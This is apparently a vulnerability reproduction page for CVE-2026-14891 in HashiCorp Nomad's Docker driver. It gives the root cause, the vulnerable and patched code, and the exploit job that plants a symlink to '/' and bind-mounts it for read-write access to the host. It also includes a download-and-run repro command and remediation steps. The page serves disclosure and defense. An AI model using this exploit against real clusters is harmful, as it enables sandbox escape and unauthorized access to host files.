CVE-2026-14891: Verified Reproduction
CVE-2026-14891: HashiCorp Nomad's Docker task driver can be tricked into bind-mounting host paths via a symlink containment bypass, enabling sandbox escape and host file read/write.
CVE-2026-14891 is verified against hashicorp/nomad · other. Affected versions: Nomad CE 0.4.1 through 2.0.3 (all releases prior to 2.0.4); Nomad Enterprise prior to 2.0.4 / 1.11.8 / 1.10.14. Fixed in 2.0.4. This high reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00385.
What Is CVE-2026-14891?
CVE-2026-14891 is a high-severity vulnerability affecting hashicorp/nomad Nomad CE 0.4.1 through 2.0.3 (all releases prior to 2.0.4); Nomad Enterprise prior to 2.0.4 / 1.11.8 / 1.10.14. Pruva has independently reproduced it and publishes a verified, runnable proof-of-concept (reproduction REPRO-2026-00385).
CVE-2026-14891 Severity
CVE-2026-14891 is rated high severity.
High — serious impact or readily exploitable. Prioritize remediation.
Affected hashicorp/nomad Versions
hashicorp/nomad · other versions Nomad CE 0.4.1 through 2.0.3 (all releases prior to 2.0.4); Nomad Enterprise prior to 2.0.4 / 1.11.8 / 1.10.14 are affected.
How to Reproduce CVE-2026-14891
pruva-verify REPRO-2026-00385 curl -O https://www.pruva.dev/api/v1/reproductions/REPRO-2026-00385/artifacts/bundle/repro/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-14891
- reached the target end-to-end
- full exploit chain demonstrated
- on the real production code path
- high confidence
- the upstream fix blocks the same trigger
Docker-driver job submitted via POST /v1/jobs: prestart task plants symlink /alloc/escape-root -> / in the shared allocation directory; main task declares mounts = [{type=bind, source=../alloc/escape-root, target=/host-escape, readonly=false}] whose source is lexically contained in the allocation directory but resolve…
- Nomad HTTP API (POST /v1/jobs)
- scheduler
- client task runner
- drivers/docker toDockerMount()/containerBinds() lexical isParentPath containment check (volumes disabled)
- Docker daemon bind mount follows symlink
- host filesystem mounted read-write inside task container
How the agent worked
Root Cause and Exploit Chain for CVE-2026-14891
HashiCorp Nomad's Docker task driver (Community Edition ≤ 2.0.3) validates
bind-mount sources with a purely lexical path-containment check
(isParentPath) when volume bind mounts are disabled. Because the check never
resolves symbolic links, a job submitter can supply a mount whose source path
appears to be inside the task's allocation directory but is actually a
symlink that resolves to an arbitrary host path. The Docker daemon follows the
symlink at bind-mount time, mounting the host path read-write into the task
container — a sandbox escape from the allocation directory that grants host
filesystem read/write even though volume bind mounts are disabled (the
default).
- Package/component affected:
drivers/dockerplugin of HashiCorp Nomad (drivers/docker/driver.go:toDockerMount()andcontainerBinds()). - Affected versions: Nomad Community Edition ≤ 2.0.3 and Nomad Enterprise ≤ 2.0.3 / 1.11.7 / 1.10.13 (fixed in Nomad CE/EE 2.0.4, EE 1.11.8, EE 1.10.14; advisory HCSEC-2026-21).
- Risk level: High (CVSS 3.1 8.7, CWE-59). An authenticated job submitter (or any API client when ACLs are disabled) can read and write arbitrary files on the Nomad client host filesystem from inside a container, escaping the intended allocation sandbox.
Impact Parity
- Disclosed/claimed maximum impact: Sandbox escape via Docker task driver — bind-mount host paths into a container despite bind mounts being disabled, allowing reading and writing files on the host filesystem.
- Reproduced impact from this run: Full parity. On Nomad 2.0.3 with
volumes.enabled = false, the Docker-driver task's bind mount (source = "../alloc/escape-root", a symlink to/planted by a prestart task in the same allocation) was accepted, and the task container received the whole Docker-daemon host filesystem mounted read-write at/host-escape. The task read the host's/etc/hostname(fc9e2e9012df, matchingdocker info --format '{{.Name}}') and wrote a marker file to a host path outside the allocation directory (/workspace/host-escape-zone/ESCAPE_WRITE_OK_*.txt), observable on the host filesystem. The identical job against Nomad 2.0.4 was rejected (volumes are not enabled; cannot mount host path) with no host write. - Parity:
full. - Not demonstrated: Nothing material to the claim. (No arbitrary code execution on the host was claimed or needed; the escape primitive itself — arbitrary host file read/write from inside the container — was demonstrated.)
Root Cause
In Nomad 2.0.3, drivers/docker/driver.go toDockerMount() handled
task-configured mounts of type bind as follows:
case "bind":
hm.Source = expandPath(task.TaskDir().Dir, hm.Source)
// paths inside alloc dir are always allowed as they mount within
// a container, and treated as relative to task dir
if !d.config.Volumes.Enabled && !isParentPath(task.AllocDir, hm.Source) {
return nil, fmt.Errorf(
"volumes are not enabled; cannot mount host path: %q %q",
hm.Source, task.AllocDir)
}
isParentPath (drivers/docker/utils.go) is purely lexical:
func isParentPath(parent, path string) bool {
rel, err := filepath.Rel(parent, path)
return err == nil && !strings.HasPrefix(rel, "..")
}
filepath.Rel operates on path strings only; it never consults the
filesystem. Therefore a source path that is lexically inside the allocation
directory — but is a symlink on the host pointing anywhere, e.g. to / —
passes the containment check. The same flawed check exists in
containerBinds() for the legacy volumes task attribute. The expanded
source path is then handed verbatim to the Docker daemon as a bind-mount
source; the daemon/kernel resolves the symlink at mount time and mounts the
symlink's target, so the task container gains access to host paths outside
the allocation directory.
An attacker who can submit Docker-driver jobs controls the content of the
allocation directory on the client host (any task in the allocation can write
to the shared alloc dir, which is bind-mounted into every task container at
/alloc). A prestart task plants escape-root -> / there; the main task's
mount source ../alloc/escape-root expands to
<data_dir>/alloc/<alloc_id>/alloc/escape-root, which is lexically inside
<data_dir>/alloc/<alloc_id> and therefore accepted by the vulnerable check.
Fix (v2.0.4, commit 5b83b133998a1f514beb81019930fb673b5ed669): the
lexical isParentPath calls in toDockerMount() and containerBinds() were
replaced by escapingfs.ChildEscapesParentDir() (new helper
helper/escapingfs/escapes.go), which uses Go's os.OpenRoot/root.Stat to
resolve symlinks inside the allocation directory and rejects any child that
resolves to an absolute path outside it:
if !d.config.Volumes.Enabled {
if err := escapingfs.ChildEscapesParentDir(task.AllocDir, hm.Source); err != nil {
return nil, fmt.Errorf("volumes are not enabled; cannot mount host path: %q", hm.Source)
}
}
Vulnerable checkout v2.0.3 (a2a5fee9c42d6481adcb9be865bcbccf8fd4d725)
contains isParentPath and lacks the patch hunk; fixed checkout v2.0.4
(5b83b133998a1f514beb81019930fb673b5ed669) contains
escapingfs.ChildEscapesParentDir (verified via git diff v2.0.3 v2.0.4 -- drivers/docker).
Reproduction Steps
- Script:
bundle/repro/reproduction_steps.sh(run from the bundle root:bash bundle/repro/reproduction_steps.sh; exit 0 = confirmed). - What the script does, end-to-end against the real product:
- Verifies the Docker daemon is reachable and that
/workspaceis the same filesystem the daemon bind-mounts from (shared-host precondition), pullsalpine:3.19. - Downloads the official Nomad release binaries
2.0.3(vulnerable) and2.0.4(fixed) fromreleases.hashicorp.com, verifying versions and recording SHA-256 digests. - For each of two vulnerable (2.0.3) and two fixed (2.0.4) attempts:
starts a real single-node Nomad agent (server + client) with the Docker
driver configured with
volumes { enabled = false }, waits for/v1/agent/health(client+server ok) and for thedockerdriver to be detected on the node. Submits an identical batch job through the real HTTP API (POST /v1/jobs): aprestartDocker task plantsln -sfn / /alloc/escape-rootin the shared allocation directory, and the mainescapeDocker task declaresmounts = [{ type = "bind", source = "../alloc/escape-root", target = "/host-escape", readonly = false }]and then reads/host-escape/etc/hostnameand writes/host-escape/workspace/host-escape-zone/<unique-marker>.txt. The script then captures allocation state, task events, task stdout, the host-side marker file, and the agent log; stops the agent; and cleans up its data dir. - Writes
bundle/repro/runtime_manifest.jsonwith per-attempt proof artifacts and SHA-256 digests.
- Verifies the Docker daemon is reachable and that
- Expected evidence of reproduction (both observed in two consecutive runs):
- Vulnerable (2.0.3): the
escapetask starts and exits 0; stdout showsHOST_HOSTNAME=fc9e2e9012df(the Docker daemon host's/etc/hostname) plus a full listing of the host root at/host-escape; the marker file appears on the host filesystem outside the allocation directory. - Fixed (2.0.4): the identical job fails closed with
Driver Failure: ... volumes are not enabled; cannot mount host path: "<data_dir>/alloc/<alloc_id>/alloc/escape-root"/Not Restarting: Error was unrecoverable, and no marker is written.
- Vulnerable (2.0.3): the
Evidence
- Per-attempt evidence:
bundle/repro/artifacts/{vuln1,vuln2,fixed1,fixed2}/job_request.json,job_submit_response.json— real API request/response for job submission.alloc_detail.json,escape_task_events.txt— task states/events.escape_task_stdout.log,prep_task_stdout.log— task logs via the Nomad logs API.host_marker.txt— copy of the file the task wrote on the host through the escaped bind mount (vulnerable attempts only).agent_attempt.log,attempt_summary.txt.
- Driver log:
bundle/logs/reproduction_steps.log. - Key excerpts (vulnerable,
vuln1/escape_task_stdout.log):
(fixed,HOST_HOSTNAME=fc9e2e9012df ESCAPE_WRITE_OK_vuln1-1791556358 bin bundle certs dev etc home lib media mnt opt proc pruva root run sbin ...fixed1/escape_task_events.txt):Driver Failure: Failed to create container configuration for image "alpine:3.19" (...): volumes are not enabled; cannot mount host path: "/workspace/nomad-repro/data-fixed1-1791556392/alloc/<id>/alloc/escape-root" Not Restarting: Error was unreverable [sic] / Error was unrecoverable - Environment: Ubuntu 26.04 sandbox (linux/x86_64), rootless Docker daemon
(Server 27.5.1) reachable at
unix:///run/user/1000/docker.sock, sharing/workspacewith the Nomad client; Nomad agents run as non-root user with the Docker driver only; volume bind mounts disabled (volumes.enabled = false, the plugin default). Target identity: Nomad 2.0.3 official release binary (revisiona2a5fee9c42d6481adcb9be865bcbccf8fd4d725, binary SHA-2567f1d3e1e49566ed6c6239c16d3fe1d29af362904408b4d01c3f64fc630022156); negative control: Nomad 2.0.4 (5b83b133998a1f514beb81019930fb673b5ed669, SHA-256f22cf977f100f938e0056cef4b4717288b5da1ecb0bb8d69cc2f563f82e63f43).
Recommendations / Next Steps
- Upgrade to Nomad Community Edition 2.0.4+ (or Enterprise 2.0.4, 1.11.8,
1.10.14), which rejects symlink-resolved mount sources via
escapingfs.ChildEscapesParentDir(os.OpenRoot). - Operators who cannot upgrade immediately should enable ACLs so that only authorized principals can submit Docker-driver jobs, and should treat job submitters as having potential host-filesystem access on clients.
- Consider defense-in-depth: audit the Docker daemon's view of client
filesystems, and restrict task-configured
mounts/volumesvia policy where possible. - Testing: regression test should submit a Docker-driver job whose mount
source is a symlink inside the allocation directory pointing to an
absolute host path, and assert rejection when
volumes.enabled = false(the driver test suite in 2.0.4 contains such cases).
Additional Notes
- Idempotency confirmation:
reproduction_steps.shwas executed twice consecutively in the same environment; both runs ended withresults: vuln1=escaped vuln2=escaped fixed1=blocked fixed2=blocked, exit code 0, and a validruntime_manifest.json. Job IDs and marker tokens are timestamp-unique so re-runs do not collide; each attempt uses a fresh agent data dir, and stale agents are killed before attempts start. - Limitations / environment notes: the "host" whose filesystem is
escaped is the Docker-daemon host filesystem as seen by the Nomad client
(in this sandbox, the rootless daemon container sharing
/workspace). This is exactly the production model — Nomad client and Docker daemon on the same host. The mount is performed by the real Docker daemon following the real symlink planted through the real allocation-directory bind mount. In a production cluster the escape would apply to the Nomad client host's filesystem. The write was additionally verified from outside the container by observing the marker file appear on the host filesystem. - The
dockerdriver logs a warning that running non-root disables NUMA/core scheduling; this does not affect the reproduction. The escape requires no privileged container, no caps, and works with the driver's defaultvolumes.enabled = false.
CVE-2026-14891 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
ls -la /pruva/project-cache/repo-mirrors/ && cat /pruva/project-cache/.pruva/cache_manifest.json && ls /pruva/project-cache/repo 2>/dev/null; echo "---"; cat /pruva/project-cache/repo-mirrors/*/HEAD 2>/dev/null; ls -la /pruva/project-cache/repo-mirrors/*/ 2>/dev/null | head -30total 0
drwx------ 2 vscode vscode 40 Oct 9 14:09 .
drwx------ 4 vscode vscode 80 Oct 9 14:09 ..
{
"schema_version": 1,
"entries": [
{
"path": "repo-mirrors",Artifacts and Evidence for CVE-2026-14891
Scripts, logs, diffs, and output captured during the reproduction.
How to Fix CVE-2026-14891
Upgrade hashicorp/nomad · other to 2.0.4 or later.
FAQ: CVE-2026-14891
Is CVE-2026-14891 exploitable?
How severe is CVE-2026-14891?
What type of vulnerability is CVE-2026-14891?
Which versions of hashicorp/nomad are affected by CVE-2026-14891?
Is there a fix for CVE-2026-14891?
How can I reproduce CVE-2026-14891?
Is the CVE-2026-14891 reproduction verified?
References for CVE-2026-14891
Authoritative sources for CVE-2026-14891 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.